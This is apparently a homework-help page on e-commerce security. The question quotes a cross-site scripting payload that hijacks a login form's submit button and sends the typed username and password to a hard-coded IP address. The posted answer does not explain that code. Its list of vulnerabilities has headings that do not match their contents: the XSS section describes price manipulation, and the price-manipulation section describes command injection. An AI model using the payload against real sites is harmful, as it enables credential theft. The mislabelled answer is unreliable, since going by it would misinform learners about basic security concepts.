What vulnerability does the below attack code require? Explain how it works? \';

Question

What vulnerability does the below attack code require? Explain how it works? ';--"></input><script>

functiondoBad() {
vari = new Image().src = "http://192.168.177.1/p=" + document.getElementById("txtPassword").value + "&u=" + document.getElementById("txtUsername").value; document.getElementById("frmLogin").submit();
}
function hook() {
document.getElementById("btnSubmit").onclick = function() { doBad(); }; alert('hook called'); }
setTimeout( function() { hook(); }, 1000 );
</script><input type="hidden

subjact

Ecommerce Security

Explanation / Answer

See the below comments on given above code ..My comments written based on knowledge in Ecommerce Secuiry..

different types of vulnerabilities are possible on given login code in e-commerce site:
1.    SQL injection:
   SQL injection refers to the insertion of SQL meta-characters in user input, such that the attacker's queries are executed by the back-end database.
   Typically, attackers will first determine if a site is vulnerable to such an attack by sending in the single-quote (') character.
   The results from an SQL injection attack on a vulnerable site may range from a detailed error message, which discloses the back-end technology being used,
   or allowing the attacker to access restricted areas of the site because he manipulated the query to an always-true Boolean value,
   or it may even allow the execution of operating system commands.

   SQL injection vulnerabilities have also been discovered in shopping cart software such as the VP-ASP Shopping Cart ,
   IGeneric Free Shopping Cart, Web Merchant Services Storefront Shopping Cart, etc. Of these, the vulnerability in the Storefront
   Shopping Cart occurred in its login.asp page, and could potentially allow the attacker to execute malicious database queries,
   without needing to authenticate to the web site.

2.cross-site scripting:

   This is a vulnerability that is almost completely unique to online shopping carts and payment gateways. In the most common occurrence of this vulnerability,
   the total payable price of the purchased goods is stored in a hidden HTML field of a dynamically generated web page. An attacker can use a web application proxy
   such as Achilles to simply modify the amount that is payable, when this information flows from the user's browser to the web server.

   The final payable price can be manipulated by the attacker to a value of his choice. This information is eventually sent to the payment gateway
   with whom the online merchant has partnered. If the volume of transactions is very high, the price manipulation may go completely unnoticed,
   or may be discovered too late. Repeated attacks of this nature could potentially cripple the viability of the online merchant.

3. buffer overflows.
  
   Buffer overflow vulnerabilities are not very common in shopping cart or other web applications using Perl, PHP, ASP, etc. However, sending in a large number
   of bytes to web applications that are not geared to deal with them can have unexpected consequences. In one of the author's penetration testing assignments,
   it was possible to disclose the path of the PHP functions being used by sending in a very large value in the input fields.

4. path disclosure :

   The Cross-site Scripting (XSS) attack is primarily targeted against the end user and leverages two factors:
   The lack of input and output validation being done by the web application
   The trust placed by the end-user in a URL that carries the vulnerable web site's name.
   The XSS attack requires a web form that takes in user input, processes it, and prints out the results on a web page, which also contains the user's
   original input. It is most commonly found in 'search' features, where the search logic will print out the results along with a line such as
   'Results for <user_supplied_input>'. In this case, if the user input is printed out without being parsed, then an attacker can embed JavaScript
   by supplying it as part of the input. By crafting a URL, which contains this JavaScript, a victim can be social engineered into clicking on it,
   and the script executes on the victim's system. A typical XSS attack URL would look like this:
   http://www.vulnerablesite.com/cgi-bin/search.php?keywords=&lt;script>alert("OK")&lt;script>.
   In this case, when the victim clicks on this link, a message box with the text "OK" will open up on his system.

   In most cases, the attacker would craft the URL in order to try and steal the user's cookie, which would probably contain the session ID and other
   sensitive information. The JavaScript could also be coded to redirect the user to the attacker's website where malicious code could be launched
   using ActiveX controls or by utilizing browser vulnerabilities such as those in Internet Explorer or Netscape Navigator.

5. price manipulation:

   The most devastating web application vulnerabilities occur when the CGI script allows an attacker to execute operating system commands due to inadequate
   input validation. This is most common with the use of the 'system' call in Perl and PHP scripts. Using a command separator and other shell metacharacters,
   it is possible for the attacker to execute commands with the privileges of the web server. For instance, Hassan Consulting's Shopping Cart allowed remote
   command execution , because shell metacharacters such as |;& were not rejected by the software. However, directory traversal was not possible in this software.

   In another case, Pacific Software's Carello Shopping Cart [bid 5192] had a vulnerable DLL that allowed the execution of remote commands due to directory
   traversal attacks that could be carried out using a specially crafted URL

6.information disclosure and Weak Authentication and Authorization:

   Authentication mechanisms that do not prohibit multiple failed logins can be attacked using tools such as Brutus. Similarly, if the web site uses HTTP
   Basic Authentication or does not pass session IDs over SSL (Secure Sockets Layer), an attacker can sniff the traffic to discover user's authentication
   and/or authorization credentials.

   Since HTTP is a stateless protocol, web applications commonly maintain state using session IDs or transaction IDs stored in a cookie on the user's system.
   Thus this session ID becomes the only way that the web application can determine the online identity of the user. If the session ID is stolen (say through XSS),
   or it can be predicted, then an attacker can take over a genuine user's online identity vis-à-vis the vulnerable web site. Where the algorithm used to generate
   the session ID is weak, it is trivial to write a Perl script to enumerate through the possible session ID space and break the application's authentication
   and authorization schemes.

   Successful exploitation of these vulnerabilities can lead to a wide range of results. Information and path disclosure vulnerabilities will typically act as
   initial stages leading to further exploitation. SQL injection or price manipulation attacks could cripple the website, compromise confidentiality, and in
   worst cases cause the e-commerce business to shut down completely.

Related Questions

Navigate

• Browse (All)
• Browse W
• Subjects

Integrity-first tutoring: explanations and feedback only — we do not complete graded work. Learn more.